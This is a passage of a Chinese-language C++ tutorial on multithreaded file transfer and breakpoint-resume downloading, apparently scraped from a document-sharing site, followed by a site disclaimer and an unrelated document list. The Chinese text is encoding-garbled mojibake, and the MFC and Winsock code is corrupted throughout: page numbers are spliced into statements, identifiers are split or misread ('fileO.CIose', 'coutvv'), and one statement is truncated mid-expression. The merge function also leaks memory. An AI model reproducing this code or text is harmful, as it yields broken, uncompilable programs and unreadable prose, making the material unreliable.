因?yàn)楸容^直觀且容易理解 , 但如果文件很大的話這個(gè)方法并不好 , 因?yàn)楹喜⑽募?又會(huì)花費(fèi)很多時(shí)間 , 另一個(gè)方法
是 創(chuàng)始一個(gè)文件 , 讓每個(gè)線程寫(xiě)入文件的不同偏移 , 這樣就可以不必單獨(dú)合并文 件了 , 但要記得打開(kāi)文件時(shí)
加入 CFile::shareDenyNone 屬性. 這樣整個(gè)過(guò)程就完成了 .最后一步合并線程文 件
5. 合并線程文件
代碼:
int UniteFile() // 合并線程文件
{
cout<<"Now is Unite Fileing.../n";
int len;
char *date;
CFile file;
59、CFile file0;
/* 其它文件 */
if(file.Ope n(FileName,CFile::modeCreate|CFile::typeBi nary|CFi le::modeWrite))〃 創(chuàng)建文件
{
fileO.Ope n("TempFileO",CFile::modeRead|CFile::typeB in ary);//合并第一線程文件
len=fileO.GetLe ngth();
date=new char[le n];
fileO.Read(date,le n);
file.SeekToE nd();
file.Write(date,le 60、n);
file1.Ope n("TempFile1",CFile::modeRead|CFile::typeB in ary);//合并第二線程文件
len=file1.GetLe ngth();
date=new char[le n];
file1.Read(date,le n);
file.SeekToE nd();
file.Write(date,le n);
/* 合并其它線程……*/
fileO.CIose();
file1.Close();
delete[] date;
return true;
}else
{
return false;
}
}
61、
這個(gè)簡(jiǎn)單,就是打開(kāi)一個(gè)文件讀取到緩沖區(qū),寫(xiě)入文件,再打開(kāi)第二個(gè)…… 現(xiàn)在 多線程傳輸部分就介紹完了
下面討論斷斷點(diǎn)續(xù)傳的實(shí)現(xiàn)
C++實(shí)現(xiàn)文件傳輸之四:斷點(diǎn)傳輸
所謂的斷點(diǎn)續(xù)傳就是指:文件在傳輸過(guò)程式中被中斷后,在重新傳輸時(shí),可以從上 次的斷點(diǎn)處開(kāi)始傳輸,這樣就可節(jié)省時(shí)間,和其它資源.
實(shí)現(xiàn)關(guān)鍵在這里有兩個(gè)關(guān)鍵點(diǎn),其一是檢測(cè)本地已經(jīng)下載的文件長(zhǎng)度和斷點(diǎn)值 ,
其二是在服務(wù)端調(diào)整文件指針到斷點(diǎn)處
實(shí)現(xiàn)方法
我們用一個(gè)簡(jiǎn)單的方法來(lái)實(shí)現(xiàn)斷點(diǎn)續(xù)傳的功能.在傳輸文件的時(shí)候創(chuàng)建一個(gè)臨時(shí) 文件用來(lái)存放文件的斷點(diǎn)位置
在每次發(fā)送接受文件時(shí) ,先檢查有沒(méi)有臨時(shí)文件 , 如果有的話就從臨時(shí)文件 62、中讀
取斷點(diǎn)值 , 并把文件指針移動(dòng)到
斷點(diǎn)位置開(kāi)始傳輸 , 這樣便可以做到斷點(diǎn)續(xù)傳了
實(shí)現(xiàn)流程
首次傳輸其流程如下
1. 服務(wù)端向客戶端傳遞文件名稱和文件長(zhǎng)度
2. 跟據(jù)文件長(zhǎng)度計(jì)算文件塊數(shù) (文件分塊傳輸請(qǐng)參照第二篇文章 )
3. 客戶端將傳輸?shù)膲K數(shù)寫(xiě)入臨時(shí)文件 (做為斷點(diǎn)值 )
4. 若文件傳輸成功則刪除臨時(shí)文件
首次傳輸失敗后將按以下流程進(jìn)行
1. 客戶端從臨時(shí)文件讀取斷點(diǎn)值并發(fā)送給服務(wù)端
2. 服務(wù)端與客戶端將文件指針移至斷點(diǎn)處
3. 從斷點(diǎn)處傳輸文件
編碼實(shí)現(xiàn)
因?yàn)槌绦虼a并不復(fù)雜 , 且注釋也比較詳細(xì) ,這里就給出完整的實(shí)現(xiàn)
其服務(wù)端實(shí)現(xiàn)代碼如下
63、代碼:
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
coutvv"/t/t 服務(wù)端-斷點(diǎn)續(xù)傳"vv"/t作者:冷風(fēng)/n/n"vv"請(qǐng)輸入被下
載的文件路徑 如 C://File.rar /n/n"<<" 文件路徑 : ";
cin >>FilePath;
/* 這部分為網(wǎng)絡(luò)參數(shù)與設(shè)置 , 詳細(xì)請(qǐng)參照源代碼 */
while(true)
{
if(client=accept(server,(sockaddr *)&clientaddr,&len))
{
cout<<"have one connect/n";
64、int nCurrentPos=0;// 接受斷點(diǎn)值
if(recv(client,(char*)&nCurrentPos,sizeof(nCu rrentPos),0)==SOCKET_ERROR)
{
cout<<"The Clinet Socket is Closed/n";
break;
}else
{
cout<<"The Currentpos is
The"< 65、;
WSACleanup();
return 0;
return 0;
}
DWORD GetFileProc (int nCurrentPos,SOCKET client)
{
cout <<"Get File Proc is ok/n";
CFile file;
int nChunkCount=0; // 文件塊數(shù) if(file.Open(FilePath,CFile::modeRead|CFile::typeBinary))
{
if(nCurrentPos!=0)
{ file.Seek(nCurrentPos*CHUNK_SIZE,CFile::begin 66、); // 文件指針移至斷點(diǎn)處
cout<<"file seek is "<
- 溫馨提示:
1: 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 藥事管理與法規(guī)楊世民第2版第一章
- 初中語(yǔ)法-形容詞和副詞
- 《公民的基本權(quán)利和義務(wù)》人教部編版道德與法治課件
- 五年級(jí)上冊(cè)音樂(lè)課件-豐收的節(jié)日(2)|人音版(簡(jiǎn)譜)最新
- 企業(yè)家商業(yè)計(jì)劃培訓(xùn)教程75275
- 員工保密意識(shí)及技能教育培訓(xùn)課件
- [精選]CAINA肖爾布拉克營(yíng)銷戰(zhàn)略規(guī)劃(PPT 174頁(yè))5799
- 教育專題:18___跨越百年的美麗
- 北魏孝文帝的改革措施
- 教育專題:兒童防拐教案1
- 數(shù)據(jù)隔離級(jí)別
- 最新2018清新簡(jiǎn)約工作匯報(bào)模板【ppt精美模板】
- 電子工藝第5章(精品)
- [精選]中化公司銷售培訓(xùn)77824
- (連云港專版)中考?xì)v史復(fù)習(xí) 第2單元 中國(guó)近代史 第9課時(shí) 抗日戰(zhàn)爭(zhēng)和人民解放戰(zhàn)爭(zhēng)的勝利課件 北師大版